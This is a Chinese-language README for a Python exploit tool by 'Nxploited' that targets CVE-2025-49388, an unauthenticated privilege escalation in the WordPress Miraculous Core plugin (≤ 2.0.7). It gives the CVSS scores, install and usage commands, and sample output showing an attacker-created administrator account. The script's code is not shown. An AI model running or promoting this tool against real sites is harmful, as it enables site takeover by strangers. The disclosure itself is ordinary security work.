CVE-2025-49388

WordPress Miraculous Core 插件 <= 2.0.7 存在权限提升漏洞

🚨 CVE-2025-49388 - Miraculous Core 插件权限提升利用工具

📜 描述

kamleshyadav 开发的 Miraculous Core 插件 中存在不正确的权限分配漏洞，允许未认证的攻击者提升权限并注册管理员账户。
受影响版本： n/a 至 2.0.7

• 漏洞类型： 权限提升
• 插件： Miraculous Core
• 受影响版本： ≤ 2.0.7

🛡️ 安全指标

Patchstack CNA CVSS 3.1：

• 基本分数： 9.8 严重
• 向量： CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

NIST CVSS：（尚未提供评估）

⚙️ 关于利用脚本

此 Python 脚本通过注册一个新的管理员账户，自动化利用 CVE-2025-49388 漏洞，针对安装有 Miraculous Core 插件的易受攻击 WordPress 实例。
它具有高可靠性，可随机化数据以实现重复可靠利用，并自动处理标头、Cookie 和绕过尝试。

📦 依赖项

• Python 3.6+
• requests
• colorama

安装依赖项：

pip install requests colorama

🚀 使用方法

python CVE-2025-49388.py -u <目标-url> [选项]

示例：

python CVE-2025-49388.py -u http://127.0.0.1/wordpress

主要选项：

注意：
如果省略用户名或电子邮件，每次运行时将生成随机值以避免重复错误。

📝 示例输出

[Nxploited INFO] 目标: http://target/wp-admin/admin-ajax.php
[Nxploited INFO] 开始尝试利用...
[Nxploited SUCCESS] 利用成功！Nxploited By Nxploited

[Nxploited CREDENTIALS]
用户名 : Nxploited_4pQz1x
密码 : Str0ng!Pass123
电子邮件    : [email protected]

❗ 免责声明

本工具仅用于教育和授权的安全测试目的。
未经明确许可擅自利用系统是非法且不道德的。
作者对滥用或造成的损失不承担任何责任。请负责任地使用。

👨‍💻 作者：Khaled Alenazi ( Nxploited )